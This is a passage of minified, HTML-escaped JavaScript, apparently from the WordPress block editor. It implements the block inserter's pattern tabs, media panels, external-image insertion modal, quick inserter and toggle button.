patterns into the canvas.&quot;)}),(0,$r.jsx)(Ca,{ref:m,blockPatterns:p.categoryPatterns,onClickPattern:s,onHover:o,label:r.label,orientation:&quot;vertical&quot;,category:r.name,isDraggable:!0,showTitlesAsTooltip:n,patternFilter:u,pagingProps:p})]})]})}var pB=l(Z(),1),hB=l(A(),1),_K=l(R(),1);var dm=l(w(),1),{Tabs:mB}=M(hB.privateApis);function Cxe({categories:e,selectedCategory:t,onSelectCategory:o,children:r}){let s={type:&quot;tween&quot;,duration:(0,pB.useReducedMotion)()?0:.25,ease:[.6,0,.4,1]},a=(0,pB.usePrevious)(t),c=t?t.name:null,[u,d]=(0,_K.useState)(),f=e?.[0]?.name;return c===null&amp;&amp;!u&amp;&amp;f&amp;&amp;d(f),(0,dm.jsxs)(mB,{selectOnMove:!1,selectedTabId:c,orientation:&quot;vertical&quot;,onSelect:m=&gt;{o(e.find(h=&gt;h.name===m))},activeTabId:u,onActiveTabIdChange:d,children:[(0,dm.jsx)(mB.TabList,{className:&quot;block-editor-inserter__category-tablist&quot;,children:e.map(m=&gt;(0,dm.jsx)(mB.Tab,{tabId:m.name,&quot;aria-current&quot;:m===t?&quot;true&quot;:void 0,children:m.label},m.name))}),e.map(m=&gt;(0,dm.jsx)(mB.TabPanel,{tabId:m.name,focusable:!1,children:(0,dm.jsx)(hB.__unstableMotion.div,{className:&quot;block-editor-inserter__category-panel&quot;,initial:a?&quot;open&quot;:&quot;closed&quot;,animate:&quot;open&quot;,variants:{open:{transform:&quot;translateX( 0 )&quot;,transitionEnd:{zIndex:&quot;1&quot;}},closed:{transform:&quot;translateX( -100% )&quot;,zIndex:&quot;-1&quot;}},transition:s,children:r})},m.name))]})}var gB=Cxe;var Kn=l(w(),1);function Bxe({onSelectCategory:e,selectedCategory:t,onInsert:o,rootClientId:r,children:n}){let[i,s]=(0,xK.useState)(!1),a=ig(r),c=(0,wK.useViewportMatch)(&quot;medium&quot;,&quot;&lt;&quot;);return a.length?(0,Kn.jsxs)(Kn.Fragment,{children:[!c&amp;&amp;(0,Kn.jsxs)(&quot;div&quot;,{className:&quot;block-editor-inserter__block-patterns-tabs-container&quot;,children:[(0,Kn.jsx)(gB,{categories:a,selectedCategory:t,onSelectCategory:e,children:n}),(0,Kn.jsx)(CK.Button,{__next40pxDefaultSize:!0,className:&quot;block-editor-inserter__patterns-explore-button&quot;,onClick:()=&gt;s(!0),variant:&quot;secondary&quot;,children:(0,BK.__)(&quot;Explore all patterns&quot;)})]}),c&amp;&amp;(0,Kn.jsx)(uB,{categories:a,children:u=&gt;(0,Kn.jsx)(&quot;div&quot;,{className:&quot;block-editor-inserter__category-panel&quot;,children:(0,Kn.jsx)(fB,{onInsert:o,rootClientId:r,category:u},u.name)})}),i&amp;&amp;(0,Kn.jsx)(vK,{initialCategory:t||a[0],patternCategories:a,onModalClose:()=&gt;s(!1),rootClientId:r})]}):(0,Kn.jsx)(Ls,{})}var EK=Bxe;var GK=l(N(),1),WK=l(Z(),1),$K=l(A(),1),vB=l(R(),1);var kB=l(A(),1),zK=l(N(),1),jK=l(Z(),1);var NK=l(A(),1),MK=l(N(),1);var Vt=l(A(),1),Yn=l(N(),1),Ba=l(R(),1),z5=l($(),1);var jy=l(F(),1),RK=l(Un(),1),OK=l(F5(),1),AK=l(dn(),1);var IK=l($(),1),PK=l(w(),1),Exe={image:&quot;img&quot;,video:&quot;video&quot;,audio:&quot;audio&quot;};function bB(e,t){let o={id:e.id||void 0,caption:e.caption||void 0},r=e.url,n=e.alt||void 0;t===&quot;image&quot;?(o.url=r,o.alt=n):[&quot;video&quot;,&quot;audio&quot;].includes(t)&amp;&amp;(o.src=r);let i=Exe[t],s=(0,PK.jsx)(i,{src:e.previewUrl||r,alt:n,controls:t===&quot;audio&quot;?!0:void 0,inert:&quot;true&quot;,onError:({currentTarget:a})=&gt;{a.src===e.previewUrl&amp;&amp;(a.src=r)}});return[(0,IK.createBlock)(`core/${t}`,o),s]}var st=l(w(),1),Txe=[&quot;image&quot;],Ixe={placement:&quot;bottom-end&quot;,className:&quot;block-editor-inserter__media-list__item-preview-options__popover&quot;};function Pxe({category:e,media:t}){if(!e.getReportUrl)return null;let o=e.getReportUrl(t);return(0,st.jsx)(Vt.DropdownMenu,{className:&quot;block-editor-inserter__media-list__item-preview-options&quot;,label:(0,Yn.__)(&quot;Options&quot;),popoverProps:Ixe,icon:ks,children:()=&gt;(0,st.jsx)(Vt.MenuGroup,{children:(0,st.jsx)(Vt.MenuItem,{onClick:()=&gt;window.open(o,&quot;_blank&quot;).focus(),icon:vA,children:(0,Yn.sprintf)((0,Yn.__)(&quot;Report %s&quot;),e.mediaType)})})})}function Rxe({onClose:e,onSubmit:t}){return(0,st.jsxs)(Vt.Modal,{title:(0,Yn.__)(&quot;Insert external image&quot;),onRequestClose:e,className:&quot;block-editor-inserter-media-tab-media-preview-inserter-external-image-modal&quot;,children:[(0,st.jsxs)(Vt.__experimentalVStack,{spacing:3,children:[(0,st.jsx)(&quot;p&quot;,{children:(0,Yn.__)(&quot;This image cannot be uploaded to your Media Library, but it can still be inserted as an external image.&quot;)}),(0,st.jsx)(&quot;p&quot;,{children:(0,Yn.__)(&quot;External images can be removed by the external provider without warning and could even have legal compliance issues related to privacy legislation.&quot;)})]}),(0,st.jsxs)(Vt.Flex,{className:&quot;block-editor-block-lock-modal__actions&quot;,justify:&quot;flex-end&quot;,expanded:!1,children:[(0,st.jsx)(Vt.FlexItem,{children:(0,st.jsx)(Vt.Button,{__next40pxDefaultSize:!0,variant:&quot;tertiary&quot;,onClick:e,children:(0,Yn.__)(&quot;Cancel&quot;)})}),(0,st.jsx)(Vt.FlexItem,{children:(0,st.jsx)(Vt.Button,{__next40pxDefaultSize:!0,variant:&quot;primary&quot;,onClick:t,children:(0,Yn.__)(&quot;Insert&quot;)})})]})]})}function LK({media:e,onClick:t,category:o}){let[r,n]=(0,Ba.useState)(!1),[i,s]=(0,Ba.useState)(!1),[a,c]=(0,Ba.useState)(!1),[u,d]=(0,Ba.useMemo)(()=&gt;bB(e,o.mediaType),[e,o.mediaType]),{createErrorNotice:f,createSuccessNotice:m}=(0,jy.useDispatch)(RK.store),{getSettings:h,getBlock:p}=(0,jy.useSelect)(_),{updateBlockAttributes:g}=(0,jy.useDispatch)(_),b=(0,Ba.useCallback)(S=&gt;{if(a)return;let x=h(),C=(0,z5.cloneBlock)(S),{id:B,url:I,caption:P}=C.attributes;if(!B&amp;&amp;!x.mediaUpload){n(!0);return}if(B){t(C);return}c(!0),window.fetch(I).then(E=&gt;E.blob()).then(E=&gt;{let L=(0,AK.getFilename)(I)||&quot;image.jpg&quot;,T=new File([E],L,{type:E.type});x.mediaUpload({filesList:[T],additionalData:{caption:P},onFileChange([O]){(0,OK.isBlobURL)(O.url)||(p(C.clientId)?g(C.clientId,{...C.attributes,id:O.id,url:O.url}):(t({...C,attributes:{...C.attributes,id:O.id,url:O.url}}),m((0,Yn.__)(&quot;Image uploaded and inserted.&quot;),{type:&quot;snackbar&quot;,id:&quot;inserter-notice&quot;})),c(!1))},allowedTypes:Txe,onError(O){f(O,{type:&quot;snackbar&quot;,id:&quot;inserter-notice&quot;}),c(!1)}})}).catch(()=&gt;{n(!0),c(!1)})},[a,h,t,m,g,f,p]),v=typeof e.title==&quot;string&quot;?e.title:e.title?.rendered||(0,Yn.__)(&quot;no title&quot;),k=(0,Ba.useCallback)(()=&gt;s(!0),[]),y=(0,Ba.useCallback)(()=&gt;s(!1),[]);return(0,st.jsxs)(st.Fragment,{children:[(0,st.jsx)(Xh,{isEnabled:!0,blocks:[u],children:({draggable:S,onDragStart:x,onDragEnd:C})=&gt;(0,st.jsx)(&quot;div&quot;,{className:V(&quot;block-editor-inserter__media-list__list-item&quot;,{&quot;is-hovered&quot;:i}),draggable:S,onDragStart:x,onDragEnd:C,children:(0,st.jsxs)(&quot;div&quot;,{onMouseEnter:k,onMouseLeave:y,children:[(0,st.jsx)(Vt.Tooltip,{text:v,children:(0,st.jsx)(Vt.Composite.Item,{render:(0,st.jsx)(&quot;div&quot;,{&quot;aria-label&quot;:v,role:&quot;option&quot;,className:&quot;block-editor-inserter__media-list__item&quot;}),onClick:()=&gt;b(u),children:(0,st.jsxs)(&quot;div&quot;,{className:&quot;block-editor-inserter__media-list__item-preview&quot;,children:[d,a&amp;&amp;(0,st.jsx)(&quot;div&quot;,{className:&quot;block-editor-inserter__media-list__item-preview-spinner&quot;,children:(0,st.jsx)(Vt.Spinner,{})})]})})}),!a&amp;&amp;(0,st.jsx)(Pxe,{category:o,media:e})]})})}),r&amp;&amp;(0,st.jsx)(Rxe,{onClose:()=&gt;n(!1),onSubmit:()=&gt;{t((0,z5.cloneBlock)(u)),m((0,Yn.__)(&quot;Image inserted.&quot;),{type:&quot;snackbar&quot;,id:&quot;inserter-notice&quot;}),n(!1)}})]})}var j5=l(w(),1);function Oxe({mediaList:e,category:t,onClick:o,label:r=(0,MK.__)(&quot;Media List&quot;)}){return(0,j5.jsx)(NK.Composite,{role:&quot;listbox&quot;,className:&quot;block-editor-inserter__media-list&quot;,&quot;aria-label&quot;:r,children:e.map((n,i)=&gt;(0,j5.jsx)(LK,{media:n,category:t,onClick:o},n.id||n.sourceId||i))})}var DK=Oxe;var Ul=l(R(),1),U5=l(F(),1);function VK(e,t={}){let[o,r]=(0,Ul.useState)(),[n,i]=(0,Ul.useState)(!1),s=(0,Ul.useRef)();return(0,Ul.useEffect)(()=&gt;{(async()=&gt;{let a=JSON.stringify({category:e.name,...t});s.current=a,i(!0),r([]);let c=await e.fetch?.(t);a===s.current&amp;&amp;(r(c),i(!1))})()},[e.name,...Object.values(t)]),{mediaList:o,isLoading:n}}function FK(e){let[t,o]=(0,Ul.useState)([]),r=(0,U5.useSelect)(a=&gt;M(a(_)).getInserterMediaCategories(),[]),{canInsertImage:n,canInsertVideo:i,canInsertAudio:s}=(0,U5.useSelect)(a=&gt;{let{canInsertBlockType:c}=a(_);return{canInsertImage:c(&quot;core/image&quot;,e),canInsertVideo:c(&quot;core/video&quot;,e),canInsertAudio:c(&quot;core/audio&quot;,e)}},[e]);return(0,Ul.useEffect)(()=&gt;{(async()=&gt;{let a=[];if(!r)return;let c=new Map(await Promise.all(r.map(async d=&gt;{if(d.isExternalResource)return[d.name,!0];let f=[];try{f=await d.fetch({per_page:1})}catch{}return[d.name,!!f.length]}))),u={image:n,video:i,audio:s};r.forEach(d=&gt;{u[d.mediaType]&amp;&amp;c.get(d.name)&amp;&amp;a.push(d)}),a.length&amp;&amp;o(a)})()},[n,i,s,r]),t}var Yu=l(w(),1),Axe=10;function Uy({rootClientId:e,onInsert:t,category:o}){let[r,n,i]=(0,jK.useDebouncedInput)(),{mediaList:s,isLoading:a}=VK(o,{per_page:i?20:Axe,search:i}),c=&quot;block-editor-inserter__media-panel&quot;,u=o.labels.search_items||(0,zK.__)(&quot;Search&quot;);return(0,Yu.jsxs)(&quot;div&quot;,{className:c,children:[(0,Yu.jsx)(kB.SearchControl,{className:`${c}-search`,onChange:n,value:r,label:u,placeholder:u}),a&amp;&amp;(0,Yu.jsx)(&quot;div&quot;,{className:`${c}-spinner`,children:(0,Yu.jsx)(kB.Spinner,{})}),!a&amp;&amp;!s?.length&amp;&amp;(0,Yu.jsx)(Ls,{}),!a&amp;&amp;!!s?.length&amp;&amp;(0,Yu.jsx)(DK,{rootClientId:e,onClick:t,mediaList:s,category:o})]})}var UK=l(F(),1);function Lxe({fallback:e=null,children:t}){return(0,UK.useSelect)(r=&gt;{let{getSettings:n}=r(_);return!!n().mediaUpload},[])?t:e}var Ds=Lxe;var HK=l(A(),1),Nxe=()=&gt;null,qu=(0,HK.withFilters)(&quot;editor.MediaUpload&quot;)(Nxe);var qn=l(w(),1),Mxe=[&quot;image&quot;,&quot;video&quot;,&quot;audio&quot;];function Dxe({rootClientId:e,selectedCategory:t,onSelectCategory:o,onInsert:r,children:n}){let i=FK(e),s=(0,WK.useViewportMatch)(&quot;medium&quot;,&quot;&lt;&quot;),a=&quot;block-editor-inserter__media-tabs&quot;,c=(0,vB.useCallback)(d=&gt;{if(!d?.url)return;let f=window.__experimentalDataViewsMediaModal&amp;&amp;d.mime_type?d.mime_type.split(&quot;/&quot;)[0]:d.type,[m]=bB(d,f);r(m)},[r]),u=(0,vB.useMemo)(()=&gt;i.map(d=&gt;({...d,label:d.labels.name})),[i]);return u.length?(0,qn.jsxs)(qn.Fragment,{children:[!s&amp;&amp;(0,qn.jsxs)(&quot;div&quot;,{className:`${a}-container`,children:[(0,qn.jsx)(gB,{categories:u,selectedCategory:t,onSelectCategory:o,children:n}),(0,qn.jsx)(Ds,{children:(0,qn.jsx)(qu,{multiple:!1,onSelect:c,allowedTypes:Mxe,render:({open:d})=&gt;(0,qn.jsx)($K.Button,{__next40pxDefaultSize:!0,onClick:f=&gt;{f.target.focus(),d()},className:&quot;block-editor-inserter__media-library-button&quot;,variant:&quot;secondary&quot;,&quot;data-unstable-ignore-focus-outside-for-relatedtarget&quot;:&quot;.media-modal&quot;,children:(0,GK.__)(&quot;Open Media Library&quot;)})})})]}),s&amp;&amp;(0,qn.jsx)(uB,{categories:u,children:d=&gt;(0,qn.jsx)(Uy,{onInsert:r,rootClientId:e,category:d})})]}):(0,qn.jsx)(Ls,{})}var H5=Dxe;var Hy=l(R(),1),Zu=l(N(),1),G5=l(A(),1),SB=l(Z(),1),qK=l(Xo(),1),ZK=l(F(),1);var KK=l(A(),1),{Fill:YK,Slot:Vxe}=(0,KK.createSlotFill)(&quot;__unstableInserterMenuExtension&quot;);YK.Slot=Vxe;var yB=YK;var xn=l(w(),1),Fxe=9,zxe=[];function jxe({filterValue:e,onSelect:t,onHover:o,onHoverPattern:r,rootClientId:n,clientId:i,isAppender:s,__experimentalInsertionIndex:a,maxBlockPatterns:c,maxBlockTypes:u,showBlockDirectory:d=!1,isDraggable:f=!0,shouldFocusBlock:m=!0,prioritizePatterns:h,selectBlockOnInsert:p,isQuick:g}){let b=(0,SB.useDebounce)(qK.speak,500),{prioritizedBlocks:v}=(0,ZK.useSelect)(j=&gt;({prioritizedBlocks:j(_).getBlockListSettings(n)?.prioritizedInserterBlocks||zxe}),[n]),[k,y]=$u({onSelect:t,rootClientId:n,clientId:i,isAppender:s,insertionIndex:a,shouldFocusBlock:m,selectBlockOnInsert:p}),[S,x,C,B]=ku(k,y,g),[I,,P]=Ku(y,k,void 0,g),E=(0,Hy.useMemo)(()=&gt;{if(c===0)return[];let j=zv(I,e);return c!==void 0?j.slice(0,c):j},[e,I,c]),L=u;h&amp;&amp;E.length&gt;2&amp;&amp;(L=0);let T=(0,Hy.useMemo)(()=&gt;{if(L===0)return[];let j=S.filter(ee=&gt;ee.name!==&quot;core/block&quot;),z=ma(j,&quot;frecency&quot;,&quot;desc&quot;);!e&amp;&amp;v.length&amp;&amp;(z=Qw(z,v));let W=qw(z,x,C,e);return L!==void 0?W.slice(0,L):W},[e,S,x,C,L,v]);(0,Hy.useEffect)(()=&gt;{if(!e)return;let j=T.length+E.length,z=(0,Zu.sprintf)((0,Zu._n)(&quot;%d result found.&quot;,&quot;%d results found.&quot;,j),j);b(z)},[e,b,T,E]);let O=(0,SB.useAsyncList)(T,{step:Fxe}),D=T.length&gt;0||E.length&gt;0,U=!!T.length&amp;&amp;(0,xn.jsx)(Wu,{title:(0,xn.jsx)(G5.VisuallyHidden,{children:(0,Zu.__)(&quot;Blocks&quot;)}),children:(0,xn.jsx)(lm,{items:O,onSelect:B,onHover:o,label:(0,Zu.__)(&quot;Blocks&quot;),isDraggable:f})}),G=!!E.length&amp;&amp;(0,xn.jsx)(Wu,{title:(0,xn.jsx)(G5.VisuallyHidden,{children:(0,Zu.__)(&quot;Block patterns&quot;)}),children:(0,xn.jsx)(&quot;div&quot;,{className:&quot;block-editor-inserter__quick-inserter-patterns&quot;,children:(0,xn.jsx)(Ca,{blockPatterns:E,onClickPattern:P,onHover:r,isDraggable:f})})});return(0,xn.jsxs)(Yh,{children:[!d&amp;&amp;!D&amp;&amp;(0,xn.jsx)(Ls,{}),h?G:U,!!T.length&amp;&amp;!!E.length&amp;&amp;(0,xn.jsx)(&quot;div&quot;,{className:&quot;block-editor-inserter__quick-inserter-separator&quot;}),h?U:G,d&amp;&amp;(0,xn.jsx)(yB.Slot,{fillProps:{onSelect:B,onHover:o,filterValue:e,hasItems:D,rootClientId:k},children:j=&gt;j.length?j:D?null:(0,xn.jsx)(Ls,{})})]})}var _B=jxe;var wB=l(A(),1),XK=l(R(),1);var Hl=l(w(),1),{Tabs:xB}=M(wB.privateApis);function Uxe({defaultTabId:e,onClose:t,onSelect:o,selectedTab:r,tabs:n,closeButtonLabel:i},s){return(0,Hl.jsx)(&quot;div&quot;,{className:&quot;block-editor-tabbed-sidebar&quot;,children:(0,Hl.jsxs)(xB,{selectOnMove:!1,defaultTabId:e,onSelect:o,selectedTabId:r,children:[(0,Hl.jsxs)(&quot;div&quot;,{className:&quot;block-editor-tabbed-sidebar__tablist-and-close-button&quot;,children:[(0,Hl.jsx)(wB.Button,{className:&quot;block-editor-tabbed-sidebar__close-button&quot;,icon:wf,label:i,onClick:()=&gt;t(),size:&quot;compact&quot;}),(0,Hl.jsx)(xB.TabList,{className:&quot;block-editor-tabbed-sidebar__tablist&quot;,ref:s,children:n.map(a=&gt;(0,Hl.jsx)(xB.Tab,{tabId:a.name,className:&quot;block-editor-tabbed-sidebar__tab&quot;,children:a.title},a.name))})]}),n.map(a=&gt;(0,Hl.jsx)(xB.TabPanel,{tabId:a.name,focusable:!1,className:&quot;block-editor-tabbed-sidebar__tabpanel&quot;,ref:a.panelRef,children:a.panel},a.name))]})})}var CB=(0,XK.forwardRef)(Uxe);var BB=l(F(),1),ag=l(R(),1);function Gy(e=!0){let{setZoomLevel:t,resetZoomLevel:o}=M((0,BB.useDispatch)(_)),{isZoomedOut:r,isZoomOut:n}=(0,BB.useSelect)(a=&gt;{let{isZoomOut:c}=M(a(_));return{isZoomedOut:c(),isZoomOut:c}},[]),i=(0,ag.useRef)(!1),s=(0,ag.useRef)(e);(0,ag.useEffect)(()=&gt;{r!==s.current&amp;&amp;(i.current=!1)},[r]),(0,ag.useEffect)(()=&gt;(s.current=e,e!==n()&amp;&amp;(i.current=!0,e?t(&quot;auto-scaled&quot;):o()),()=&gt;{i.current&amp;&amp;n()&amp;&amp;o()}),[e,n,o,t])}var qe=l(w(),1),JK=()=&gt;{};function Hxe({rootClientId:e,clientId:t,isAppender:o,__experimentalInsertionIndex:r,onSelect:n,showInserterHelpPanel:i,showMostUsedBlocks:s,__experimentalFilterValue:a=&quot;&quot;,shouldFocusBlock:c=!0,onPatternCategorySelection:u,onClose:d,__experimentalInitialTab:f,__experimentalInitialCategory:m},h){let{isZoomOutMode:p,hasSectionRootClientId:g}=(0,QK.useSelect)(he=&gt;{let{isZoomOut:xe,getSectionRootClientId:ze}=M(he(_));return{isZoomOutMode:xe(),hasSectionRootClientId:!!ze()}},[]),[b,v,k]=(0,Wy.useDebouncedInput)(a),[y,S]=(0,Ft.useState)(null),[x,C]=(0,Ft.useState)(m),[B,I]=(0,Ft.useState)(&quot;all&quot;),[P,E]=(0,Ft.useState)(null),L=(0,Wy.useViewportMatch)(&quot;large&quot;),O=(0,Wy.useViewportMatch)(&quot;medium&quot;,&quot;&lt;&quot;)?d:JK;function D(){return f||(p?&quot;patterns&quot;:&quot;blocks&quot;)}let[U,G]=(0,Ft.useState)(D());Gy(g&amp;&amp;(U===&quot;patterns&quot;||U===&quot;media&quot;)&amp;&amp;L);let[z,W,ee]=$u({rootClientId:e,clientId:t,isAppender:o,insertionIndex:r,shouldFocusBlock:c}),se=(0,Ft.useRef)(),ce=(0,Ft.useCallback)((he,xe,ze,ot)=&gt;{W(he,xe,ze,ot),n(he),O(),window.requestAnimationFrame(()=&gt;{!c&amp;&amp;!se.current?.contains(h.current.ownerDocument.activeElement)&amp;&amp;se.current?.querySelector(&quot;button&quot;).focus()})},[W,O,n,h,c]),ie=(0,Ft.useCallback)((he,xe,...ze)=&gt;{ee(!1),W(he,{patternName:xe},...ze),n(),O()},[W,O,n,ee]),re=(0,Ft.useCallback)(he=&gt;{ee(he),S(he)},[ee,S]),Q=(0,Ft.useCallback)((he,xe)=&gt;{C(he),I(xe),u?.()},[C,u]),Y=U===&quot;patterns&quot;&amp;&amp;!k&amp;&amp;!!x,J=U===&quot;media&quot;&amp;&amp;!!P,K=(0,Ft.useMemo)(()=&gt;U===&quot;media&quot;?null:(0,qe.jsxs)(qe.Fragment,{children:[(0,qe.jsx)(lg.SearchControl,{className:&quot;block-editor-inserter__search&quot;,onChange:he=&gt;{y&amp;&amp;S(null),v(he)},value:b,label:(0,Xu.__)(&quot;Search&quot;),placeholder:(0,Xu.__)(&quot;Search&quot;)}),!!k&amp;&amp;(0,qe.jsx)(_B,{filterValue:k,onSelect:n,onHover:re,rootClientId:e,clientId:t,isAppender:o,__experimentalInsertionIndex:r,showBlockDirectory:!0,shouldFocusBlock:c,prioritizePatterns:U===&quot;patterns&quot;})]}),[U,y,S,v,b,k,n,re,c,t,e,r,o]),H=(0,Ft.useMemo)(()=&gt;(0,qe.jsxs)(qe.Fragment,{children:[(0,qe.jsx)(&quot;div&quot;,{className:&quot;block-editor-inserter__block-list&quot;,children:(0,qe.jsx)(oK,{ref:se,rootClientId:z,onInsert:ce,onHover:re,showMostUsedBlocks:s})}),i&amp;&amp;(0,qe.jsxs)(&quot;div&quot;,{className:&quot;block-editor-inserter__tips&quot;,children:[(0,qe.jsx)(lg.VisuallyHidden,{as:&quot;h2&quot;,children:(0,Xu.__)(&quot;A tip for using the block editor&quot;)}),(0,qe.jsx)(v9,{})]})]}),[z,ce,re,s,i]),X=(0,Ft.useMemo)(()=&gt;(0,qe.jsx)(EK,{rootClientId:z,onInsert:ie,onSelectCategory:Q,selectedCategory:x,children:Y&amp;&amp;(0,qe.jsx)(fB,{rootClientId:z,onInsert:ie,category:x,patternFilter:B,showTitlesAsTooltip:!0})}),[z,ie,Q,B,x,Y]),ne=(0,Ft.useMemo)(()=&gt;(0,qe.jsx)(H5,{rootClientId:z,selectedCategory:P,onSelectCategory:E,onInsert:ce,children:J&amp;&amp;(0,qe.jsx)(Uy,{rootClientId:z,onInsert:ce,category:P})}),[z,ce,P,E,J]),le=he=&gt;{he!==&quot;patterns&quot;&amp;&amp;C(null),G(he)},ve=(0,Ft.useRef)();return(0,Ft.useLayoutEffect)(()=&gt;{ve.current&amp;&amp;window.requestAnimationFrame(()=&gt;{ve.current.querySelector(&#039;[role=&quot;tab&quot;][aria-selected=&quot;true&quot;]&#039;)?.focus()})},[]),(0,qe.jsxs)(&quot;div&quot;,{className:V(&quot;block-editor-inserter__menu&quot;,{&quot;show-panel&quot;:Y||J,&quot;is-zoom-out&quot;:p}),ref:h,children:[(0,qe.jsx)(&quot;div&quot;,{className:&quot;block-editor-inserter__main-area&quot;,children:(0,qe.jsx)(CB,{ref:ve,onSelect:le,onClose:d,selectedTab:U,closeButtonLabel:(0,Xu.__)(&quot;Close Block Inserter&quot;),tabs:[{name:&quot;blocks&quot;,title:(0,Xu.__)(&quot;Blocks&quot;),panel:(0,qe.jsxs)(qe.Fragment,{children:[K,U===&quot;blocks&quot;&amp;&amp;!k&amp;&amp;H]})},{name:&quot;patterns&quot;,title:(0,Xu.__)(&quot;Patterns&quot;),panel:(0,qe.jsxs)(qe.Fragment,{children:[K,U===&quot;patterns&quot;&amp;&amp;!k&amp;&amp;X]})},{name:&quot;media&quot;,title:(0,Xu.__)(&quot;Media&quot;),panel:(0,qe.jsxs)(qe.Fragment,{children:[K,ne]})}]})}),i&amp;&amp;y&amp;&amp;(0,qe.jsx)(lg.Popover,{className:&quot;block-editor-inserter__preview-container__popover&quot;,placement:&quot;right-start&quot;,offset:16,focusOnMount:!1,animate:!1,children:(0,qe.jsx)(X1,{item:y})})]})}var W5=(0,Ft.forwardRef)(Hxe);function Gxe(e,t){return(0,qe.jsx)(W5,{...e,onPatternCategorySelection:JK,ref:t})}var eY=(0,Ft.forwardRef)(Gxe);var EB=l(R(),1),$y=l(N(),1),TB=l(A(),1),tY=l(F(),1);var fm=l(w(),1),Wxe=6,$xe=6,Kxe=2;function IB({onSelect:e,rootClientId:t,clientId:o,isAppender:r,selectBlockOnInsert:n,hasSearch:i=!0}){let[s,a]=(0,EB.useState)(&quot;&quot;),[c,u]=$u({onSelect:e,rootClientId:t,clientId:o,isAppender:r,selectBlockOnInsert:n}),[d]=ku(c,u,!0),{setInserterIsOpened:f,insertionIndex:m}=(0,tY.useSelect)(g=&gt;{let{getSettings:b,getBlockIndex:v,getBlockCount:k}=g(_),y=b(),S=v(o),x=k();return{setInserterIsOpened:y.__experimentalSetIsInserterOpened,insertionIndex:S===-1?x:S}},[o]),h=i&amp;&amp;d.length&gt;Wxe;(0,EB.useEffect)(()=&gt;{f&amp;&amp;f(!1)},[f]);let p=()=&gt;{f({filterValue:s,onSelect:e,rootClientId:t,insertionIndex:m})};return(0,fm.jsxs)(&quot;div&quot;,{className:V(&quot;block-editor-inserter__quick-inserter&quot;,{&quot;has-search&quot;:h,&quot;has-expand&quot;:f}),children:[h&amp;&amp;(0,fm.jsx)(TB.SearchControl,{className:&quot;block-editor-inserter__search&quot;,value:s,onChange:g=&gt;{a(g)},label:(0,$y.__)(&quot;Search&quot;),placeholder:(0,$y.__)(&quot;Search&quot;)}),(0,fm.jsx)(&quot;div&quot;,{className:&quot;block-editor-inserter__quick-inserter-results&quot;,children:(0,fm.jsx)(_B,{filterValue:s,onSelect:e,rootClientId:t,clientId:o,isAppender:r,maxBlockPatterns:s?Kxe:0,maxBlockTypes:$xe,isDraggable:!1,selectBlockOnInsert:n,isQuick:!0})}),f&amp;&amp;(0,fm.jsx)(TB.Button,{__next40pxDefaultSize:!0,className:&quot;block-editor-inserter__quick-inserter-expand&quot;,onClick:p,&quot;aria-label&quot;:(0,$y.__)(&quot;Browse all. This will open the main inserter panel in the editor toolbar.&quot;),children:(0,$y.__)(&quot;Browse all&quot;)})]})}var Yxe=50;function oY(e,t){if(!e||!e.attributes||!t?.__experimentalLabel)return null;let o=t.__experimentalLabel(e.attributes,{context:&quot;appender&quot;});return typeof o==&quot;string&quot;&amp;&amp;o.length&lt;Yxe&amp;&amp;o.length&gt;0?o:null}var Ky=l(w(),1),qxe=({onToggle:e,disabled:t,isOpen:o,blockTitle:r,hasSingleBlockType:n,appenderLabel:i,toggleProps:s={}})=&gt;{let{as:a=PB.Button,label:c,onClick:u,...d}=s,f=c;!f&amp;&amp;i?f=i:!f&amp;&amp;n?f=(0,Gl.sprintf)((0,Gl._x)(&quot;Add %s&quot;,&quot;directly add the only allowed block&quot;),r.toLowerCase()):f||(f=(0,Gl._x)(&quot;Add block&quot;,&quot;Generic label for block inserter button&quot;));function m(h){e&amp;&amp;e(h),u&amp;&amp;u(h)}return(0,Ky.jsx)(a,{__next40pxDefaultSize:s.as?void 0:!0,icon:Bi,label:f,tooltipPosition:&quot;bottom&quot;,onClick:m,className:&quot;block-editor-inserter__toggle&quot;,&quot;aria-haspopup&quot;:n?!1:&quot;true&quot;,&quot;aria-expanded&quot;:n?!1:o,disabled:t,...d})},Zxe=class extends nY.Component{constructor(){super(...arguments),this.onToggle=this.onToggle.bind(this),this.renderToggle=this.renderToggle.bind(this),this.renderContent=this.renderContent.bind(this)}onToggle(e){let{onToggle:t}=this.props;t&amp;&amp;t(e)}renderToggle({onToggle:e,isOpen:t}){let{disabled:o,blockTitle:r,hasSingleBlockType:n,appenderLabel:i,toggleProps:s,hasItems:a,renderToggle:c=qxe}=this.props;return c({onToggle:e,isOpen:t,disabled:o||!a,blockTitle:r,hasSingleBlockType:n,appenderLabel:i,toggleProps:s})}renderContent({onClose:e}){let{rootClientId:t,clientId:o,isAppender:r,showInserterHelpPanel:n,__experimentalIsQuick:i,onSelectOrClose:s,selectBlockOnInsert:a}=this.props;return i?(0,Ky.jsx)(IB,{onSelect:c=&gt;{let u=Array.isArray(c)&amp;&amp;c?.length?c[0]:c;s&amp;&amp;typeof s==&quot;function&quot;&amp;&amp;s(u),e()},rootClientId:t,clientId:o,isAppender:r,selectBlockOnInsert:a}):(0,Ky.jsx)(eY,{onSelect:()=&gt;{e()},onClose:e,rootClientId:t,clientId:o,isAppender:r,showInserterHelpPanel:n})}render(){let{position:e,hasSingleBlockType:t,directInsertBlock:o,insertOnlyAllowedBlock:r,__experimentalIsQuick:n,onSelectOrClose:i}=this.props;return t||o?this.renderToggle({onToggle:r}):(0,Ky.jsx)(PB.Dropdown,{className:&quot;block-editor-inserter&quot;,contentClassName:V(&quot;block-editor-inserter__popover&quot;,{&quot;is-quick&quot;:n}),popoverProps:{position:e,shift:!0},onToggle:this.onToggle,expandOnMobile:!0,headerTitle:(0,Gl.__)(&quot;Add a block&quot;),renderToggle:this.renderToggle,renderContent:this.renderContent,onClose:i})}},Ui=(0,OB.compose)([(0,RB.withSelect)((e,{clientId:t,rootClientId:o,shouldDirectInsert:r=!0})=&gt;{let{getBlockRootClientId:n,hasInserterItems:i,getAllowedBlocks:s,getDirectInsertBlock:a}=e(_),{getBlockVariations:c,getBlockType:u}=e(Yy.store);o=o||n(t)||void 0;let d=s(o),f=r&amp;&amp;a(o),m=d?.length===1&amp;&amp;c(d[0].name,&quot;inserter&quot;)?.length===0,h=!1;m&amp;&amp;(h=d[0]);let 